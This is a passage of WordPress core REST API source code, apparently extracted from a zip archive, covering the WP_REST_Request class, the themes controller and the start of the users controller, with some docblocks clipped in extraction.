* Checks if a parameter exists in the request.
*
* This allows distinguishing between an omitted parameter,
* and a parameter specifically set to null.
*
* @since 5.3.0
*
* @param string $key Parameter name.
* @return bool True if a param exists for the given key.
*/
public function has_param( $key ) {
$order = $this->get_parameter_order();
foreach ( $order as $type ) {
if ( is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
return true;
}
}
return false;
}
/**
* Sets a parameter on the request.
*
* If the given parameter key exists in any parameter type an update will take place,
* otherwise a new param will be created in the first parameter type (respecting
* get_parameter_order()).
*
* @since 4.4.0
*
* @param string $key Parameter name.
* @param mixed $value Parameter value.
*/
public function set_param( $key, $value ) {
$order = $this->get_parameter_order();
$found_key = false;
foreach ( $order as $type ) {
if ( 'defaults' !== $type && is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
$this->params[ $type ][ $key ] = $value;
$found_key = true;
}
}
if ( ! $found_key ) {
$this->params[ $order[0] ][ $key ] = $value;
}
}
/**
* Retrieves merged parameters from the request.
*
* The equivalent of get_param(), but returns all parameters for the request.
* Handles merging all the available values into a single array.
*
* @since 4.4.0
*
* @return array Map of key to value.
*/
public function get_params() {
$order = $this->get_parameter_order();
$order = array_reverse( $order, true );
$params = array();
foreach ( $order as $type ) {
/*
* array_merge() / the "+" operator will mess up
* numeric keys, so instead do a manual foreach.
*/
foreach ( (array) $this->params[ $type ] as $key => $value ) {
$params[ $key ] = $value;
}
}
// Exclude rest_route if pretty permalinks are not enabled.
if ( ! get_option( 'permalink_structure' ) ) {
unset( $params['rest_route'] );
}
return $params;
}
/**
* Retrieves parameters from the route itself.
*
* These are parsed from the URL using the regex.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*/
public function get_url_params() {
return $this->params['URL'];
}
/**
* Sets parameters from the route.
*
* Typically, this is set after parsing the URL.
*
* @since 4.4.0
*
* @param array $params Parameter map of key to value.
*/
public function set_url_params( $params ) {
$this->params['URL'] = $params;
}
/**
* Retrieves parameters from the query string.
*
* These are the parameters you'd typically find in `$_GET`.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*/
public function get_query_params() {
return $this->params['GET'];
}
/**
* Sets parameters from the query string.
*
* Typically, this is set from `$_GET`.
*
* @since 4.4.0
*
* @param array $params Parameter map of key to value.
*/
public function set_query_params( $params ) {
$this->params['GET'] = $params;
}
/**
* Retrieves parameters from the body.
*
* These are the parameters you'd typically find in `$_POST`.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*/
public function get_body_params() {
return $this->params['POST'];
}
/**
* Sets parameters from the body.
*
* Typically, this is set from `$_POST`.
*
* @since 4.4.0
*
* @param array $params Parameter map of key to value.
*/
public function set_body_params( $params ) {
$this->params['POST'] = $params;
}
/**
* Retrieves multipart file parameters from the body.
*
* These are the parameters you'd typically find in `$_FILES`.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*
* @phpstan-return array,
* full_path?: non-empty-string,
* }>
*/
public function get_file_params() {
return $this->params['FILES'];
}
/**
* Sets multipart file parameters from the body.
*
* Typically, this is set from `$_FILES`.
*
* @since 4.4.0
*
* @param array $params Parameter map of key to value.
*
* @phpstan-param array,
* full_path?: non-empty-string,
* }> $params
*/
public function set_file_params( $params ) {
$this->params['FILES'] = $params;
}
/**
* Retrieves the default parameters.
*
* These are the parameters set in the route registration.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*/
public function get_default_params() {
return $this->params['defaults'];
}
/**
* Sets default parameters.
*
* These are the parameters set in the route registration.
*
* @since 4.4.0
*
* @param array $params Parameter map of key to value.
*/
public function set_default_params( $params ) {
$this->params['defaults'] = $params;
}
/**
* Retrieves the request body content.
*
* @since 4.4.0
*
* @return string Binary data from the request body.
*/
public function get_body() {
return $this->body;
}
/**
* Sets body content.
*
* @since 4.4.0
*
* @param string $data Binary data from the request body.
*/
public function set_body( $data ) {
$this->body = $data;
// Enable lazy parsing.
$this->parsed_json = false;
$this->parsed_body = false;
$this->params['JSON'] = null;
}
/**
* Retrieves the parameters from a JSON-formatted body.
*
* @since 4.4.0
*
* @return array Parameter map of key to value.
*/
public function get_json_params() {
// Ensure the parameters have been parsed out.
$this->parse_json_params();
return $this->params['JSON'];
}
/**
* Parses the JSON parameters.
*
* Avoids parsing the JSON data until we need to access it.
*
* @since 4.4.0
* @since 4.7.0 Returns error instance if value cannot be decoded.
* @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
*/
protected function parse_json_params() {
if ( $this->parsed_json ) {
return true;
}
$this->parsed_json = true;
// Check that we actually got JSON.
if ( ! $this->is_json_content_type() ) {
return true;
}
$body = $this->get_body();
if ( empty( $body ) ) {
return true;
}
$params = json_decode( $body, true );
/*
* Check for a parsing error.
*/
if ( null === $params && JSON_ERROR_NONE !== json_last_error() ) {
// Ensure subsequent calls receive error instance.
$this->parsed_json = false;
$error_data = array(
'status' => WP_Http::BAD_REQUEST,
'json_error_code' => json_last_error(),
'json_error_message' => json_last_error_msg(),
);
return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
}
$this->params['JSON'] = $params;
return true;
}
/**
* Parses the request body parameters.
*
* Parses out URL-encoded bodies for request methods that aren't supported
* natively by PHP.
*
* @since 4.4.0
*/
protected function parse_body_params() {
if ( $this->parsed_body ) {
return;
}
$this->parsed_body = true;
/*
* Check that we got URL-encoded. Treat a missing Content-Type as
* URL-encoded for maximum compatibility.
*/
$content_type = $this->get_content_type();
if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
return;
}
parse_str( $this->get_body(), $params );
/*
* Add to the POST parameters stored internally. If a user has already
* set these manually (via `set_body_params`), don't override them.
*/
$this->params['POST'] = array_merge( $params, $this->params['POST'] );
}
/**
* Retrieves the route that matched the request.
*
* @since 4.4.0
*
* @return string Route matching regex.
*/
public function get_route() {
return $this->route;
}
/**
* Sets the route that matched the request.
*
* @since 4.4.0
*
* @param string $route Route matching regex.
*/
public function set_route( $route ) {
$this->route = $route;
}
/**
* Retrieves the attributes for the request.
*
* These are the options for the route that was matched.
*
* @since 4.4.0
*
* @return array Attributes for the request.
*/
public function get_attributes() {
return $this->attributes;
}
/**
* Sets the attributes for the request.
*
* @since 4.4.0
*
* @param array $attributes Attributes for the request.
*/
public function set_attributes( $attributes ) {
$this->attributes = $attributes;
}
/**
* Sanitizes (where possible) the params on the request.
*
* This is primarily based off the sanitize_callback param on each registered
* argument.
*
* @since 4.4.0
*
* @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
*/
public function sanitize_params() {
$attributes = $this->get_attributes();
// No arguments set, skip sanitizing.
if ( empty( $attributes['args'] ) ) {
return true;
}
$order = $this->get_parameter_order();
$invalid_params = array();
$invalid_details = array();
foreach ( $order as $type ) {
if ( empty( $this->params[ $type ] ) ) {
continue;
}
foreach ( $this->params[ $type ] as $key => $value ) {
if ( ! isset( $attributes['args'][ $key ] ) ) {
continue;
}
$param_args = $attributes['args'][ $key ];
// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
$param_args['sanitize_callback'] = 'rest_parse_request_arg';
}
// If there's still no sanitize_callback, nothing to do here.
if ( empty( $param_args['sanitize_callback'] ) ) {
continue;
}
/** @var mixed|WP_Error $sanitized_value */
$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );
if ( is_wp_error( $sanitized_value ) ) {
$invalid_params[ $key ] = implode( ' ', $sanitized_value->get_error_messages() );
$invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )->get_data();
} else {
$this->params[ $type ][ $key ] = $sanitized_value;
}
}
}
if ( $invalid_params ) {
return new WP_Error(
'rest_invalid_param',
/* translators: %s: List of invalid parameters. */
sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
array(
'status' => 400,
'params' => $invalid_params,
'details' => $invalid_details,
)
);
}
return true;
}
/**
* Checks whether this request is valid according to its attributes.
*
* @since 4.4.0
*
* @return true|WP_Error True if there are no parameters to validate or if all pass validation,
* WP_Error if required parameters are missing.
*/
public function has_valid_params() {
// If JSON data was passed, check for errors.
$json_error = $this->parse_json_params();
if ( is_wp_error( $json_error ) ) {
return $json_error;
}
$attributes = $this->get_attributes();
$required = array();
$args = empty( $attributes['args'] ) ? array() : $attributes['args'];
foreach ( $args as $key => $arg ) {
$param = $this->get_param( $key );
if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
$required[] = $key;
}
}
if ( ! empty( $required ) ) {
return new WP_Error(
'rest_missing_callback_param',
/* translators: %s: List of required parameters. */
sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ),
array(
'status' => 400,
'params' => $required,
)
);
}
/*
* Check the validation callbacks for each registered arg.
*
* This is done after required checking as required checking is cheaper.
*/
$invalid_params = array();
$invalid_details = array();
foreach ( $args as $key => $arg ) {
$param = $this->get_param( $key );
if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
/** @var bool|\WP_Error $valid_check */
$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );
if ( false === $valid_check ) {
$invalid_params[ $key ] = __( 'Invalid parameter.' );
}
if ( is_wp_error( $valid_check ) ) {
$invalid_params[ $key ] = implode( ' ', $valid_check->get_error_messages() );
$invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )->get_data();
}
}
}
if ( $invalid_params ) {
return new WP_Error(
'rest_invalid_param',
/* translators: %s: List of invalid parameters. */
sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
array(
'status' => 400,
'params' => $invalid_params,
'details' => $invalid_details,
)
);
}
if ( isset( $attributes['validate_callback'] ) ) {
$valid_check = call_user_func( $attributes['validate_callback'], $this );
if ( is_wp_error( $valid_check ) ) {
return $valid_check;
}
if ( false === $valid_check ) {
// A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
return new WP_Error( 'rest_invalid_params', __( 'Invalid parameters.' ), array( 'status' => 400 ) );
}
}
return true;
}
/**
* Checks if a parameter is set.
*
* @since 4.4.0
*
* @param string $offset Parameter name.
* @return bool Whether the parameter is set.
*/
#[ReturnTypeWillChange]
public function offsetExists( $offset ) {
$order = $this->get_parameter_order();
foreach ( $order as $type ) {
if ( isset( $this->params[ $type ][ $offset ] ) ) {
return true;
}
}
return false;
}
/**
* Retrieves a parameter from the request.
*
* @since 4.4.0
*
* @param string $offset Parameter name.
* @return mixed|null Value if set, null otherwise.
*/
#[ReturnTypeWillChange]
public function offsetGet( $offset ) {
return $this->get_param( $offset );
}
/**
* Sets a parameter on the request.
*
* @since 4.4.0
*
* @param string $offset Parameter name.
* @param mixed $value Parameter value.
*/
#[ReturnTypeWillChange]
public function offsetSet( $offset, $value ) {
$this->set_param( $offset, $value );
}
/**
* Removes a parameter from the request.
*
* @since 4.4.0
*
* @param string $offset Parameter name.
*/
#[ReturnTypeWillChange]
public function offsetUnset( $offset ) {
$order = $this->get_parameter_order();
// Remove the offset from every group.
foreach ( $order as $type ) {
unset( $this->params[ $type ][ $offset ] );
}
}
/**
* Retrieves a WP_REST_Request object from a full URL.
*
* @since 4.5.0
*
* @param string $url URL with protocol, domain, path and query args.
* @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
*/
public static function from_url( $url ) {
$bits = parse_url( $url );
$query_params = array();
if ( ! empty( $bits['query'] ) ) {
wp_parse_str( $bits['query'], $query_params );
}
$api_root = rest_url();
if ( get_option( 'permalink_structure' ) && str_starts_with( $url, $api_root ) ) {
// Pretty permalinks on, and URL is under the API root.
$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
$route = parse_url( $api_url_part, PHP_URL_PATH );
} elseif ( ! empty( $query_params['rest_route'] ) ) {
// ?rest_route=... set directly.
$route = $query_params['rest_route'];
unset( $query_params['rest_route'] );
}
$request = false;
if ( ! empty( $route ) ) {
$request = new WP_REST_Request( 'GET', $route );
$request->set_query_params( $query_params );
}
/**
* Filters the REST API request generated from a URL.
*
* @since 4.5.0
*
* @param WP_REST_Request|false $request Generated request object, or false if URL
* could not be parsed.
* @param string $url URL the request was generated from.
*/
return apply_filters( 'rest_request_from_url', $request, $url );
}
}
PK h0]f[ [ - endpoints/class-wp-rest-themes-controller.phpnu [ //` or `/themes//`.
* Excludes invalid directory name characters: `/:<>*?"|`.
*/
const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?';
/**
* Constructor.
*
* @since 5.0.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'themes';
}
/**
* Registers the routes for themes.
*
* @since 5.0.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_item_schema' ),
)
);
register_rest_route(
$this->namespace,
sprintf( '/%s/(?P%s)', $this->rest_base, self::PATTERN ),
array(
'args' => array(
'stylesheet' => array(
'description' => __( "The theme's stylesheet. This uniquely identifies the theme." ),
'type' => 'string',
'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ),
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Sanitize the stylesheet to decode endpoint.
*
* @since 5.9.0
*
* @param string $stylesheet The stylesheet name.
* @return string Sanitized stylesheet.
*/
public function _sanitize_stylesheet_callback( $stylesheet ) {
return urldecode( $stylesheet );
}
/**
* Checks if a given request has access to read the theme.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
return true;
}
$registered = $this->get_collection_params();
if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) {
return $this->check_read_active_theme_permission();
}
return new WP_Error(
'rest_cannot_view_themes',
__( 'Sorry, you are not allowed to view themes.' ),
array( 'status' => rest_authorization_required_code() )
);
}
/**
* Checks if a given request has access to read the theme.
*
* @since 5.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
*/
public function get_item_permissions_check( $request ) {
if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
return true;
}
$wp_theme = wp_get_theme( $request['stylesheet'] );
$current_theme = wp_get_theme();
if ( $this->is_same_theme( $wp_theme, $current_theme ) ) {
return $this->check_read_active_theme_permission();
}
return new WP_Error(
'rest_cannot_view_themes',
__( 'Sorry, you are not allowed to view themes.' ),
array( 'status' => rest_authorization_required_code() )
);
}
/**
* Checks if a theme can be read.
*
* @since 5.7.0
*
* @return true|WP_Error True if the theme can be read, WP_Error object otherwise.
*/
protected function check_read_active_theme_permission() {
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
if ( current_user_can( $post_type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_cannot_view_active_theme',
__( 'Sorry, you are not allowed to view the active theme.' ),
array( 'status' => rest_authorization_required_code() )
);
}
/**
* Retrieves a single theme.
*
* @since 5.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$wp_theme = wp_get_theme( $request['stylesheet'] );
if ( ! $wp_theme->exists() ) {
return new WP_Error(
'rest_theme_not_found',
__( 'Theme not found.' ),
array( 'status' => 404 )
);
}
$data = $this->prepare_item_for_response( $wp_theme, $request );
return rest_ensure_response( $data );
}
/**
* Retrieves a collection of themes.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$themes = array();
$current_theme = wp_get_theme();
$status = $request['status'];
if ( array( 'active' ) === $status ) {
$prepared = $this->prepare_item_for_response( $current_theme, $request );
$themes[] = $this->prepare_response_for_collection( $prepared );
} else {
foreach ( wp_get_themes() as $theme ) {
$theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) {
continue;
}
$prepared = $this->prepare_item_for_response( $theme, $request );
$themes[] = $this->prepare_response_for_collection( $prepared );
}
}
$response = rest_ensure_response( $themes );
$response->header( 'X-WP-Total', count( $themes ) );
$response->header( 'X-WP-TotalPages', 1 );
return $response;
}
/**
* Prepares a single theme output for response.
*
* @since 5.0.0
* @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
* @since 6.6.0 Added `stylesheet_uri` and `template_uri` fields.
*
* @param WP_Theme $item Theme object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$theme = $item;
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( rest_is_field_included( 'stylesheet', $fields ) ) {
$data['stylesheet'] = $theme->get_stylesheet();
}
if ( rest_is_field_included( 'template', $fields ) ) {
/**
* Use the get_template() method, not the 'Template' header, for finding the template.
* The 'Template' header is only good for what was written in the style.css, while
* get_template() takes into account where WordPress actually located the theme and
* whether it is actually valid.
*/
$data['template'] = $theme->get_template();
}
$plain_field_mappings = array(
'requires_php' => 'RequiresPHP',
'requires_wp' => 'RequiresWP',
'textdomain' => 'TextDomain',
'version' => 'Version',
);
foreach ( $plain_field_mappings as $field => $header ) {
if ( rest_is_field_included( $field, $fields ) ) {
$data[ $field ] = $theme->get( $header );
}
}
if ( rest_is_field_included( 'screenshot', $fields ) ) {
// Using $theme->get_screenshot() with no args to get absolute URL.
$data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : '';
}
$rich_field_mappings = array(
'author' => 'Author',
'author_uri' => 'AuthorURI',
'description' => 'Description',
'name' => 'Name',
'tags' => 'Tags',
'theme_uri' => 'ThemeURI',
);
foreach ( $rich_field_mappings as $field => $header ) {
if ( rest_is_field_included( "{$field}.raw", $fields ) ) {
$data[ $field ]['raw'] = $theme->display( $header, false, true );
}
if ( rest_is_field_included( "{$field}.rendered", $fields ) ) {
$data[ $field ]['rendered'] = $theme->display( $header );
}
}
$current_theme = wp_get_theme();
if ( rest_is_field_included( 'status', $fields ) ) {
$data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
}
if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
foreach ( get_registered_theme_features() as $feature => $config ) {
if ( ! is_array( $config['show_in_rest'] ) ) {
continue;
}
$name = $config['show_in_rest']['name'];
if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) {
continue;
}
if ( ! current_theme_supports( $feature ) ) {
$data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default'];
continue;
}
$support = get_theme_support( $feature );
if ( isset( $config['show_in_rest']['prepare_callback'] ) ) {
$prepare = $config['show_in_rest']['prepare_callback'];
} else {
$prepare = array( $this, 'prepare_theme_support' );
}
$prepared = $prepare( $support, $config, $feature, $request );
if ( is_wp_error( $prepared ) ) {
continue;
}
$data['theme_supports'][ $name ] = $prepared;
}
}
if ( rest_is_field_included( 'is_block_theme', $fields ) ) {
$data['is_block_theme'] = $theme->is_block_theme();
}
if ( rest_is_field_included( 'stylesheet_uri', $fields ) ) {
if ( $this->is_same_theme( $theme, $current_theme ) ) {
$data['stylesheet_uri'] = get_stylesheet_directory_uri();
} else {
$data['stylesheet_uri'] = $theme->get_stylesheet_directory_uri();
}
}
if ( rest_is_field_included( 'template_uri', $fields ) ) {
if ( $this->is_same_theme( $theme, $current_theme ) ) {
$data['template_uri'] = get_template_directory_uri();
} else {
$data['template_uri'] = $theme->get_template_directory_uri();
}
}
if ( rest_is_field_included( 'default_template_types', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
$default_template_types = array();
foreach ( get_default_block_template_types() as $slug => $template_type ) {
$template_type['slug'] = (string) $slug;
$default_template_types[] = $template_type;
}
$data['default_template_types'] = $default_template_types;
}
if ( rest_is_field_included( 'default_template_part_areas', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) {
$data['default_template_part_areas'] = get_allowed_block_template_part_areas();
}
$data = $this->add_additional_fields_to_object( $data, $request );
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $theme ) );
}
/**
* Filters theme data returned from the REST API.
*
* @since 5.0.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Theme $theme Theme object used to create response.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
}
/**
* Prepares links for the request.
*
* @since 5.7.0
*
* @param WP_Theme $theme Theme data.
* @return array Links for the given block type.
*/
protected function prepare_links( $theme ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
if ( $this->is_same_theme( $theme, wp_get_theme() ) ) {
// This creates a record for the active theme if not existent.
$id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
} else {
$user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme );
$id = $user_cpt['ID'] ?? null;
}
if ( $id ) {
$links['https://api.w.org/user-global-styles'] = array(
'href' => rest_url( 'wp/v2/global-styles/' . $id ),
);
}
if ( $theme->is_block_theme() && $this->is_same_theme( $theme, wp_get_theme() ) ) {
$links['https://api.w.org/export-theme'] = array(
'href' => rest_url( 'wp-block-editor/v1/export' ),
'targetHints' => array(
'allow' => current_user_can( 'export' ) ? array( 'GET' ) : array(),
),
);
}
return $links;
}
/**
* Helper function to compare two themes.
*
* @since 5.7.0
*
* @param WP_Theme $theme_a First theme to compare.
* @param WP_Theme $theme_b Second theme to compare.
* @return bool
*/
protected function is_same_theme( $theme_a, $theme_b ) {
return $theme_a->get_stylesheet() === $theme_b->get_stylesheet();
}
/**
* Prepares the theme support value for inclusion in the REST API response.
*
* @since 5.5.0
*
* @param mixed $support The raw value from get_theme_support().
* @param array $args The feature's registration args.
* @param string $feature The feature name.
* @param WP_REST_Request $request The request object.
* @return mixed The prepared support value.
*/
protected function prepare_theme_support( $support, $args, $feature, $request ) {
$schema = $args['show_in_rest']['schema'];
if ( 'boolean' === $schema['type'] ) {
return true;
}
if ( is_array( $support ) && ! $args['variadic'] ) {
$support = $support[0];
}
return rest_sanitize_value_from_schema( $support, $schema );
}
/**
* Retrieves the theme's schema, conforming to JSON Schema.
*
* @since 5.0.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'theme',
'type' => 'object',
'properties' => array(
'stylesheet' => array(
'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ),
'type' => 'string',
'readonly' => true,
),
'stylesheet_uri' => array(
'description' => __( 'The uri for the theme\'s stylesheet directory.' ),
'type' => 'string',
'format' => 'uri',
'readonly' => true,
),
'template' => array(
'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ),
'type' => 'string',
'readonly' => true,
),
'template_uri' => array(
'description' => __( 'The uri for the theme\'s template directory. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet directory.' ),
'type' => 'string',
'format' => 'uri',
'readonly' => true,
),
'author' => array(
'description' => __( 'The theme author.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The theme author\'s name, as found in the theme header.' ),
'type' => 'string',
),
'rendered' => array(
'description' => __( 'HTML for the theme author, transformed for display.' ),
'type' => 'string',
),
),
),
'author_uri' => array(
'description' => __( 'The website of the theme author.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The website of the theme author, as found in the theme header.' ),
'type' => 'string',
'format' => 'uri',
),
'rendered' => array(
'description' => __( 'The website of the theme author, transformed for display.' ),
'type' => 'string',
'format' => 'uri',
),
),
),
'description' => array(
'description' => __( 'A description of the theme.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The theme description, as found in the theme header.' ),
'type' => 'string',
),
'rendered' => array(
'description' => __( 'The theme description, transformed for display.' ),
'type' => 'string',
),
),
),
'is_block_theme' => array(
'description' => __( 'Whether the theme is a block-based theme.' ),
'type' => 'boolean',
'readonly' => true,
),
'name' => array(
'description' => __( 'The name of the theme.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The theme name, as found in the theme header.' ),
'type' => 'string',
),
'rendered' => array(
'description' => __( 'The theme name, transformed for display.' ),
'type' => 'string',
),
),
),
'requires_php' => array(
'description' => __( 'The minimum PHP version required for the theme to work.' ),
'type' => 'string',
'readonly' => true,
),
'requires_wp' => array(
'description' => __( 'The minimum WordPress version required for the theme to work.' ),
'type' => 'string',
'readonly' => true,
),
'screenshot' => array(
'description' => __( 'The theme\'s screenshot URL.' ),
'type' => 'string',
'format' => 'uri',
'readonly' => true,
),
'tags' => array(
'description' => __( 'Tags indicating styles and features of the theme.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The theme tags, as found in the theme header.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
),
'rendered' => array(
'description' => __( 'The theme tags, transformed for display.' ),
'type' => 'string',
),
),
),
'textdomain' => array(
'description' => __( 'The theme\'s text domain.' ),
'type' => 'string',
'readonly' => true,
),
'theme_supports' => array(
'description' => __( 'Features supported by this theme.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(),
),
'theme_uri' => array(
'description' => __( 'The URI of the theme\'s webpage.' ),
'type' => 'object',
'readonly' => true,
'properties' => array(
'raw' => array(
'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ),
'type' => 'string',
'format' => 'uri',
),
'rendered' => array(
'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ),
'type' => 'string',
'format' => 'uri',
),
),
),
'version' => array(
'description' => __( 'The theme\'s current version.' ),
'type' => 'string',
'readonly' => true,
),
'status' => array(
'description' => __( 'A named status for the theme.' ),
'type' => 'string',
'enum' => array( 'inactive', 'active' ),
),
'default_template_types' => array(
'description' => __( 'A list of default template types.' ),
'type' => 'array',
'readonly' => true,
'items' => array(
'type' => 'object',
'properties' => array(
'slug' => array(
'type' => 'string',
),
'title' => array(
'type' => 'string',
),
'description' => array(
'type' => 'string',
),
),
),
),
'default_template_part_areas' => array(
'description' => __( 'A list of allowed area values for template parts.' ),
'type' => 'array',
'readonly' => true,
'items' => array(
'type' => 'object',
'properties' => array(
'area' => array(
'type' => 'string',
),
'label' => array(
'type' => 'string',
),
'description' => array(
'type' => 'string',
),
'icon' => array(
'type' => 'string',
),
'area_tag' => array(
'type' => 'string',
),
),
),
),
),
);
foreach ( get_registered_theme_features() as $feature => $config ) {
if ( ! is_array( $config['show_in_rest'] ) ) {
continue;
}
$name = $config['show_in_rest']['name'];
$schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema'];
}
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the search params for the themes collection.
*
* @since 5.0.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = array(
'status' => array(
'description' => __( 'Limit result set to themes assigned one or more statuses.' ),
'type' => 'array',
'items' => array(
'enum' => array( 'active', 'inactive' ),
'type' => 'string',
),
),
);
/**
* Filters REST API collection parameters for the themes controller.
*
* @since 5.0.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_themes_collection_params', $query_params );
}
/**
* Sanitizes and validates the list of theme status.
*
* @since 5.0.0
* @deprecated 5.7.0
*
* @param string|array $statuses One or more theme statuses.
* @param WP_REST_Request $request Full details about the request.
* @param string $parameter Additional parameter to pass to validation.
* @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
*/
public function sanitize_theme_status( $statuses, $request, $parameter ) {
_deprecated_function( __METHOD__, '5.7.0' );
$statuses = wp_parse_slug_list( $statuses );
foreach ( $statuses as $status ) {
$result = rest_validate_request_arg( $status, $request, $parameter );
if ( is_wp_error( $result ) ) {
return $result;
}
}
return $statuses;
}
}
PK h0]K , endpoints/class-wp-rest-users-controller.phpnu [ true );
/**
* Constructor.
*
* @since 4.7.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'users';
$this->meta = new WP_REST_User_Meta_Fields();
}
/**
* Registers the routes for users.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'create_item' ),
